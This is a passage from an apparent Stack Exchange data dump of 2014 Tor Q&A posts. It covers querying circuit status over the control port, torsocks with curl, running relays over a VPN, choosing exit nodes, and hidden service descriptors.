  <row Id="1626" PostTypeId="2" ParentId="1378" CreationDate="2014-02-28T23:15:34.417" Score="3" Body="&lt;p&gt;If you're using a version of TBB without Vidalia and don't want to install Arm or other control software you can get this information directly from the control port. First you'll want to get the authentication string to use from the auth cookie (this is where it's stored in the TBB, if you've got Tor installed on your system some other way you'll have to use the correct control cookie path):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hexdump -e '32/1 &quot;%02x&quot;&quot;\n&quot;' Data/Tor/control_auth_cookie&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then telnet to the control port (&lt;code&gt;9151&lt;/code&gt; by default, this may be different on your system):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;telnet 127.0.0.1 9151&#xA;AUTHENTICATE $PASSWORD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;$PASSWORD&lt;/code&gt; is the string given by hexdump above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then run: &lt;code&gt;getinfo circuit-status&lt;/code&gt; which will dump out the circuit info including fingerprints for each hop. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;250+circuit-status=&#xA;4 BUILT $9F937131215E4AAE90D685B97AC63938F26A9D5C=alarm,$8587B6C7E22C7DF6F4F79FFD38A0740BF537EFD1=TorAustralisXXVIII,$841C635F57FE77F354DA26AEEB4D12EDF44AF076~Unnamed BUILD_FLAGS=IS_INTERNAL,NEED_CAPACITY,NEED_UPTIME PURPOSE=GENERAL TIME_CREATED=2014-02-28T23:09:10.107304&#xA;3 BUILT $9F937131215E4AAE90D685B97AC63938F26A9D5C=alarm,$1363782D5C2F0345A43076F2EAA9F443B3AD4B76~Unnamed,$EC01CB4766BADC1611678555CE793F2A7EB2D723=sprockets BUILD_FLAGS=IS_INTERNAL,NEED_CAPACITY,NEED_UPTIME PURPOSE=GENERAL TIME_CREATED=2014-02-28T23:09:09.116112&#xA;2 BUILT $9F937131215E4AAE90D685B97AC63938F26A9D5C=alarm,$7B4DAFCF17D626828492CE5E587937F57C708681=wtfrelayyoh,$2C289C7F9A303E3A10341368B10A457EC7B2B8D1=Janus0 BUILD_FLAGS=NEED_CAPACITY PURPOSE=GENERAL TIME_CREATED=2014-02-28T23:09:08.123212&#xA;1 BUILT $628664B08BD81BB0BF467347F3CE14CB5B915786=Chandler05,$5097CB04C09C0A26E27E86217983C0A374676550=CzechMix,$D64366987CB39F61AD21DBCF8142FA0577B92811=kasperskytor01 BUILD_FLAGS=NEED_CAPACITY PURPOSE=GENERAL TIME_CREATED=2014-02-28T23:09:07.107064&#xA;.&#xA;250 OK&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should work for any version of Tor (TBB or otherwise) which has a control port configured (and on any OS to boot; pretty much everything is going to have telnet or an equivalent). If you've got a control password configured instead of a cookie, skip the hexdump bit and authenticate with that password. If no password is set you can skip the authenticate command.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastActivityDate="2014-02-28T23:15:34.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1627" PostTypeId="1" CreationDate="2014-03-01T13:35:23.397" Score="3" ViewCount="2661" Body="&lt;p&gt;I am trying to use &lt;code&gt;torsocks&lt;/code&gt; with &lt;code&gt;curl&lt;/code&gt;. Tor is &lt;a href=&quot;https://atlas.torproject.org/#details/4DB849B89A83949ACB2BCD5ACDEBC8C188552E7C&quot; rel=&quot;nofollow&quot;&gt;running as a relay node&lt;/a&gt;. DNS lookup is working but connection to the target with HTTP fails.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ host www.ipmango.com&#xA;www.ipmango.com has address 173.255.230.5&#xA;&#xA;$ torsocks curl -v http://www.ipmango.com/api/myip&#xA;* About to connect() to www.ipmango.com port 80 (#0)&#xA;*   Trying 173.255.230.5... Timeout&#xA;* couldn't connect to host&#xA;* Closing connection #0&#xA;curl: (7) couldn't connect to host&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;/etc/tor/tor-tsocks.conf&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server = 127.0.0.1&#xA;server_port = 9050    &#xA;local = 127.0.0.0/255.128.0.0&#xA;local = 127.128.0.0/255.192.0.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The relevant part of &lt;code&gt;/etc/tor/torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ControlPort 9052&#xA;ORPort auto&#xA;SocksPort 9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Versions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ tor --version&#xA;Tor version 0.2.4.20 (git-0d50b03673670de6).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What configuration is wrong?&lt;/p&gt;&#xA;" OwnerDisplayName="user66" LastActivityDate="2014-04-02T01:42:07.657" Title="&quot;couldn't connect to host&quot; using `torsocks` with `curl`" Tags="|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1628" PostTypeId="1" CreationDate="2014-03-02T00:16:36.920" Score="5" ViewCount="348" Body="&lt;p&gt;On Linux, I've tried the following, which doesn't work, but illustrates what I want. Unpack the tor-browser in &lt;code&gt;/usr/local&lt;/code&gt; and make it readable by all users. Create &lt;code&gt;$HOME/tor-browser/&lt;/code&gt; for each user which contains their own &lt;code&gt;Data&lt;/code&gt; directory and symlinks back to &lt;code&gt;/usr/local/tor-browser&lt;/code&gt; for the Browser and Tor directories. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1271" LastEditorUserId="88" LastEditDate="2014-03-02T22:39:08.923" LastActivityDate="2018-10-29T15:17:19.237" Title="Is there a way to share an installation fo the tor browser bundle among multiple users?" Tags="|tor-browser-bundle|linux|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1629" PostTypeId="1" CreationDate="2014-03-02T00:27:45.723" Score="2" ViewCount="71" Body="&lt;p&gt;I want to know how Tor code is actually updated.  Who does it?  In light of the NSA scandal and the NSA desire to bring down Tor, is there a possibility that the NSA infiltrates Tor code and adds code to suit their needs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do appreciate all the work by the Vidalia and Tor folks, my concern is  infiltration by NSA or other institution and getting code in it to destroy the Tor network.&lt;/p&gt;&#xA;" OwnerUserId="1273" LastEditorUserId="88" LastEditDate="2014-05-01T09:38:08.030" LastActivityDate="2014-05-01T09:54:05.543" Title="Tor security and code upgrade" Tags="|security|source-code|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1630" PostTypeId="2" ParentId="1629" CreationDate="2014-03-02T02:43:29.540" Score="1" Body="&lt;p&gt;Tor is an open-source project.&#xA;It is worked on my a mixture of volunteers and people who are paid via donations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It &lt;em&gt;is&lt;/em&gt; possible that the NSA ``infiltrates'' Tor's code, but due to the open-source nature of the project that kind of back door would likely be found and fixed before long. When it comes to NSA backdoors closed-source projects are far more of a worry, since no neutral third party is able to audit the code.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-03-02T02:43:29.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1631" PostTypeId="1" CreationDate="2014-03-02T02:43:53.523" Score="6" ViewCount="3226" Body="&lt;p&gt;I would like to run a Tor relay through my VPN (Linux using &lt;a href=&quot;http://en.wikipedia.org/wiki/OpenVPN&quot; rel=&quot;nofollow&quot;&gt;OpenVPN&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My anonymous VPN service connects through an OpenVPN tun0 interface. I run both &quot;Tor -&gt;- over -&gt;- VPN&quot; and &quot;TBB -&gt;- over -&gt;- VPN&quot; with no problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;code&gt;netstat -nr&lt;/code&gt; command to check (I blocked out my VPN's public IP address and internal IP addresses):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ netstat -nr&#xA;Kernel IP routing table&#xA;Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface&#xA;0.0.0.0         10.---.---.---  0.0.0.0         UG        0 0          0 tun0&#xA;10.-.-.-        10.---.---.---  255.255.255.255 UGH       0 0          0 tun0&#xA;10.---.---.---  0.0.0.0         255.255.255.255 UH        0 0          0 tun0&#xA;111.222.333.444 192.168.1.1     255.255.255.255 UGH       0 0          0 eth0&#xA;192.168.1.0     0.0.0.0         255.255.255.0   U         0 0          0 eth0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have my &lt;code&gt;/etc/tor/torrc&lt;/code&gt; configured to run a middle-man relay on port 9001.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right after, I start Tor using this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;systemctl start tor.service&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then using these two netstat commands to check right after starting tor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;netstat -tuapenv | grep -i established&#xA;netstat --all --numeric --programs --inet --inet6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am able to see about 80 different ESTABLISHED connections to &quot;foreign addresses&quot; that are linked to my VPN's internal IP address in the &quot;Local Address&quot; column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 80 different &quot;Foreign Address&quot; are only shown for the first few minutes, then after a couple of minutes all I have left are my original three EntryGuard IP addresses shown when using those netstat commands.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So if my VPN's public address is 111.222.333.444 and its internal IP address is 10.---.---.--- which connects to my local 127.0.0.1 then how would I run a relay that stays connected and shows its IP address on the Tor Network Status page at blutmagie?&lt;/p&gt;&#xA;" OwnerUserId="1232" LastEditorUserId="923" LastEditDate="2014-08-14T18:11:24.847" LastActivityDate="2016-07-12T03:45:58.363" Title="How to configure a Tor relay through my VPN service?" Tags="|relays|vpn|linux|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1633" PostTypeId="1" AcceptedAnswerId="2139" CreationDate="2014-03-02T20:07:25.233" Score="0" ViewCount="193" Body="&lt;p&gt;A number of differences have been observed when using Tails versus TBB. Are these differences normal and part of the design and implementation of these packages or it maybe something else? Below, please find some of the differences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vidalia control panel looks somewhat different in Tails compare to TBB stand-alone Vidalia, in particular, following icons are missing in Tails version of Vidalia.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a. &quot;Stoptor&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b. &quot;Setup Relaying&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c. &quot;Setting&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;d. &quot;Exit&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e. Check mark &quot;Show this window on startup&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Tor button&quot; do not have an active New identity option in Tails &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like it is not necessary to activate &quot;html5&quot; in Tails. When one start a video in Tails it start running without user intervention to activate &quot;html5&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The clock does not seem to correspond to user location in Tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The TBB version 3.5.2 windows versus Tails version 0.22.1 have been evaluated at this trial.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-06-19T15:30:56.133" LastActivityDate="2014-06-20T01:25:54.893" Title="A number of differences have been observed when using Tails versus TBB. Are these differences normal and part of the design of these packages?" Tags="|tor-browser-bundle|tails|vidalia|guard|tor-button|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1634" PostTypeId="1" CreationDate="2014-03-02T23:16:26.423" Score="2" ViewCount="6060" Body="&lt;p&gt;Currently I am trying to do the following on a remote-controlled desktop&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I installed Tor on a Raspberry Pi and made the setup as a Access point&lt;/li&gt;&#xA;&lt;li&gt;On Windows I can make a remote desktop and it will log the IP address that Tor assigns me&lt;/li&gt;&#xA;&lt;li&gt;When using Tails I installed remmina RDP, however I can't make a remote desktop session.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The project is to try to use an OS like Tails to do RDP in a controlled environment, it seems that Tails blocks it, but we would want to know if there is a way to de-anonimize the RDP on Tails and force it to use Tor on the Raspberry Pi. Any help would be appreciated&lt;/p&gt;&#xA;" OwnerUserId="1276" LastEditorUserId="88" LastEditDate="2014-03-04T08:25:41.273" LastActivityDate="2014-06-01T23:35:03.550" Title="Use TOR on Raspberry PI - Tails RDP" Tags="|anonymity|configuration|tails|raspberry-pi|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1636" PostTypeId="1" CreationDate="2014-03-02T23:41:48.927" Score="11" ViewCount="14676" Body="&lt;p&gt;Do I have the ability to choose an exit IP Address at city-level? I need my IP address to show as Phoenix, Arizona. How do I chose that location for an IP Address?&lt;/p&gt;&#xA;" OwnerUserId="1279" LastEditorUserId="71" LastEditDate="2014-03-03T13:20:36.133" LastActivityDate="2016-10-24T06:38:11.307" Title="IP address in specific city" Tags="|exit-relays|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1637" PostTypeId="2" ParentId="1636" CreationDate="2014-03-03T05:14:01.763" Score="-1" Body="&lt;p&gt;I don't believe you get to choose an IP address. The exit node which ends up returning the IP address is random after your connection request has hopped through 3 random relays after leaving your computer.&lt;/p&gt;&#xA;" OwnerUserId="1282" LastActivityDate="2014-03-03T05:14:01.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1638" PostTypeId="2" ParentId="1636" CreationDate="2014-03-03T06:59:29.623" Score="2" Body="&lt;p&gt;Before I answer your question, I want to point out that if you just need to appear to be in Phoenix, and aren't concerned with anonymity, it would be much easier to use a Phoenix Az proxy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this with Tor isn't really what Tor was designed for, but you should have good luck by choosing what countries you want your exit node to use (or not use.) From there you will probably have to test until find one that exists inside Phoenix, and add that fingerprint to your preferred exit node list. Or if you know the ip address range you're looking for (my Phoenix Az IP starts with 68.106.x.x) you can add it instead of a country code or fingerprint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#ChooseEntryExit&quot; rel=&quot;nofollow&quot;&gt;Choose Entry/Exit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following options can be added to your config file &quot;torrc&quot; or specified on the command line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can list preferred nodes to use for the last hop in the circuit, if possible by setting the ExitNodes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes $fingerprint,$fingerprint&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of &lt;code&gt;$fingerprint&lt;/code&gt; you can also specify a 2 letter ISO3166 country code in curly braces (for example &lt;code&gt;{de}&lt;/code&gt;), or an ip address pattern (for example 255.254.0.0/8), or a node nickname. Make sure there are no spaces between the commas and the list items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like people are having better luck excluding countries instead of using them with the above command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExcludeNodes {be},{pl},{ca},{za},{vn},{uz},{ua},{tw},{tr},{th},{sk}, &#xA;    {sg},{se},{sd},{sa},{ru},{ro},{pt},{ph},{pa},{nz},{np},{no},{my},{mx}, &#xA;    {md},{lv},{lu},{kr},{jp},{it},{ir},{il},{ie},{id},{hr},{hk},{gr},{gi}, &#xA;    {gb},{fi},{es},{ee},{dk},{cz},{cy},{cr},{co},{cn},{cl},{ci},{ch},{by}, &#xA;    {br},{bg},{au},{at},{ar},{aq},{ao},{ae},{nl},{de},{fr}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tor doesn't recomend selecting your entry/exit nodes, stating:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We recommend you do not use these — they are intended for testing and&#xA;  may disappear in future versions. You get the best security that Tor&#xA;  can provide when you leave the route selection to Tor; overriding the&#xA;  entry / exit nodes can mess up your anonymity in ways we don't&#xA;  understand.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="217" LastActivityDate="2014-03-03T06:59:29.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1639" PostTypeId="1" CreationDate="2014-03-03T15:18:09.153" Score="2" ViewCount="2005" Body="&lt;p&gt;I am about to go to Iran next week. I've got Tor's Browser Bundle installed, but will I need anything else configured to ensure anonymous and uncontrolled browsing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1285" LastActivityDate="2018-01-03T22:55:36.337" Title="Using Tor in Iran for the first time. User Guide." Tags="|tor-browser-bundle|censorship|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1640" PostTypeId="2" ParentId="1636" CreationDate="2014-03-03T19:44:14.563" Score="2" Body="&lt;p&gt;Tor uses the GeoIP database from Maxmind. This resolves domains on a country level. So by setting &lt;code&gt;ExitNode&lt;/code&gt; you can choose a specific country (&lt;code&gt;us&lt;/code&gt;, &lt;code&gt;ca&lt;/code&gt;, &lt;code&gt;ar&lt;/code&gt; etc.), but inside Tor there is no possibility to select relays on a per-city-basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use another GeoIP database and check if there is a relay sitting in Phoenix. If you find one or more you could use the &lt;code&gt;ExitNode&lt;/code&gt; together with the fingerprint of that node(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However as Garrett Fogerlie pointed out it is not Tor's main purpose to do such things. You might be better off by looking for a general open proxy in Phoenix if you just need an outgoing IP address there. Furthermore also a Phoenix based VPN service might help here.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-03-03T19:44:14.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1641" PostTypeId="1" CreationDate="2014-03-04T06:55:50.137" Score="3" ViewCount="7415" Body="&lt;p&gt;Does Tor hide my mac address as well as my IP address?&#xA;And what about if I have another browser such as IE or Firefox open at the same time as Tor,  but not in Tor?&lt;/p&gt;&#xA;" OwnerUserId="1289" LastActivityDate="2014-04-03T07:40:38.973" Title="Does Tor hide my mac address as well as my IP address?" Tags="|anonymity|browsers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1642" PostTypeId="2" ParentId="1641" CreationDate="2014-03-04T07:21:25.497" Score="4" Body="&lt;p&gt;In general when you visit a website the website won't be able to see your MAC address, even when &lt;em&gt;not&lt;/em&gt; using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only the hop directly after you is able to see your MAC, and chances are there's 10+ hops between you and a given web server.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-03-04T07:21:25.497" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1644" PostTypeId="1" CreationDate="2014-03-04T10:21:28.577" Score="2" ViewCount="202" Body="&lt;p&gt;I'm looking for options for &lt;code&gt;torrc&lt;/code&gt; or another ways to force my tor daemon to fetch full network status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. today, my &lt;code&gt;/var/lib/tor/cached-descriptors.new&lt;/code&gt; contain only records about 1032 relays, however &lt;a href=&quot;http://torstatus.blutmagie.de&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://torstatus.blutmagie.de&lt;/a&gt; show me more than 5000 relays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm already enable in the &lt;code&gt;/etc/tor/torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DownloadExtraInfo 1 &#xA;FetchUselessDescriptors 1 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I must increase &lt;code&gt;ulimit&lt;/code&gt; for Tor from 4096 to 10000 file descriptors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ulimit -H -n &#xA;4096&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this option of torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ConnLimit 10000 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I've found &lt;code&gt;PathsNeededToBuildCircuits&lt;/code&gt; option in &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/tor-manual.html.en&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PathsNeededToBuildCircuits NUM&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Tor clients don’t build circuits for user traffic until they know&#xA;  about enough of the network so that they could potentially construct&#xA;  enough of the possible paths through the network. If this option is&#xA;  set to a fraction between 0.25 and 0.95, Tor won’t build circuits&#xA;  until it has enough descriptors or microdescriptors to construct that&#xA;  fraction of possible paths. Note that setting this option too low can&#xA;  make your Tor client less anonymous, and setting it too high can&#xA;  prevent your Tor client from bootstrapping. If this option is&#xA;  negative, Tor will use a default value chosen by the directory&#xA;  authorities. (Default: -1.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm trying to add to my &lt;code&gt;torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PathsNeededToBuildCircuits 0.9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, my Tor v0.2.3.25 (git-3fed5eb096d2d187) running on Linux, wantn't to launch, with next &lt;code&gt;warn&lt;/code&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[warn] Failed to parse/validate config: Unknown option&#xA;  'PathsNeededToBuildCircuits'. Failing.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt; &#xA;&#xA;&lt;p&gt;Related my old quetsion: &lt;a href=&quot;https://tor.stackexchange.com/questions/1632/http-torstatus-blutmagie-de-csv-list-of-current-result-set&quot;&gt;https://tor.stackexchange.com/questions/1632/http-torstatus-blutmagie-de-csv-list-of-current-result-set&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-05-03T15:35:06.197" Title="Is there a way to get a CSV of full network status? smthng like all-descriptors.new?" Tags="|network-health|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1645" PostTypeId="2" ParentId="1324" CreationDate="2014-03-04T13:13:40.333" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How actually a descriptor look like (encoding) ? is there any format&#xA;  or size limit for descriptor on HSdir?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The hidden service descriptor is plain text and the full format can be found in the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/rend-spec.txt&quot; rel=&quot;nofollow&quot;&gt;rend-spec&lt;/a&gt; document.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Where descriptors are hosted? who are HSdirs? Tor relays who donate&#xA;  their disk space for hosting these messages?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Descriptors are hosted in a distributed hash table (DHT) consisting of all HSdirs, defined in the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/dir-spec.txt&quot; rel=&quot;nofollow&quot;&gt;dir-spec&lt;/a&gt; as:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;HSDir&quot; -- A router is a v2 hidden service directory if it stores and&#xA;  serves v2 hidden service descriptors, and the authority believes that it's&#xA;  been up for at least 25 hours (or the current value of&#xA;  MinUptimeHidServDirectoryV2).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(as of 2013-03-11 with commit &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/5bab2738:/dir-spec.txt&quot; rel=&quot;nofollow&quot;&gt;5bab2738&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How Alice find descriptor for Bob from DHT?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Alice knows Bob's address (z.onion address, derived from Bob's public key). She then picks a random HSDir and sends it an HTTP 'GET' request for &quot;/tor/rendezvous2/z&quot; where z is the descriptor ID. If the request is unsuccessful, Alice retries with another randomly selected HSDir. If the request returns a 404 HTTP response, the service is not recognized. Otherwise Bob's most recent HS descriptor is returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of this can also be found in the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/rend-spec.txt&quot; rel=&quot;nofollow&quot;&gt;spec&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;wiki says truncated SHA1 is not secure (i say full SHA1 is not&#xA;  secure either) but attacker would not be able to impersonate already&#xA;  existing hidden services! how he can't?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;SHA1 is not completely broken, but (serious) weaknesses have been observed. Currently it's beleived that impersonating a hidden service would be very difficult, however, that's not to say that it will remain that way. As someone else mentioned, work is being done to move the hidden service spec towards using better hashing and encryption standards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/proposals/ideas/xxx-choosing-crypto-in-tor-protocol.txt&quot; rel=&quot;nofollow&quot;&gt;Picking cryptographic standards in the Tor wire protocol&lt;/a&gt; by Marian&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/proposals/ideas/xxx-crypto-migration.txt&quot; rel=&quot;nofollow&quot;&gt;Initial thoughts on migrating Tor to new cryptography&lt;/a&gt; by Nick Mathewson&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/proposals/ideas/xxx-crypto-requirements.txt&quot; rel=&quot;nofollow&quot;&gt;Requirements for Tor's circuit cryptography&lt;/a&gt; by Robert Ransom&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And finally, your main question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;let say Alice have Bob's public key (a better cipher than RSA) so&#xA;  Alice don't need onion address to find Bob's public key first. is that&#xA;  possible Bob just advertise his descriptor (introduction points) on&#xA;  HSdirs with this custom cipher and meet Alice or hidden services are&#xA;  limited to what Tor support today?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, this is not going to be easy to do. However, if Alice already has Bob's public key once the HS connection is established you could end-to-end encrypt the channel using whatever form of encryption you want. Remember, hidden services aren't limited to HTTP, you could pipe any (TCP) protocol over the wire (and use any encryption that protocol supports) without modifying Tor's crypto at all.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2014-03-06T00:59:55.740" LastActivityDate="2014-03-06T00:59:55.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1646" PostTypeId="2" ParentId="1644" CreationDate="2014-03-04T14:03:19.670" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://metrics.torproject.org/network.html&quot; rel=&quot;nofollow&quot;&gt;network page&lt;/a&gt; of the &lt;a href=&quot;https://metrics.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Tor metrics portal&lt;/a&gt; lists approximately 5300 relays. This number should also be known to your Tor client as every client needs a full network view. So you don't need to change your configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The information about all relays is in &lt;code&gt;cached-microdesc-consensus&lt;/code&gt;. The entries look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r einfo AOsaxadU+MSjQjiVx4CM7JzZ3TQ 2014-03-03 23:35:37 46.163.118.42 9001 0&#xA;m zQPi5J/Qoj/ZxtirMDHnulkVT/f7C9kYvzJ4tSQQZ24&#xA;s Exit Fast Guard Named Running Stable Valid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I count all entries the file on my machine 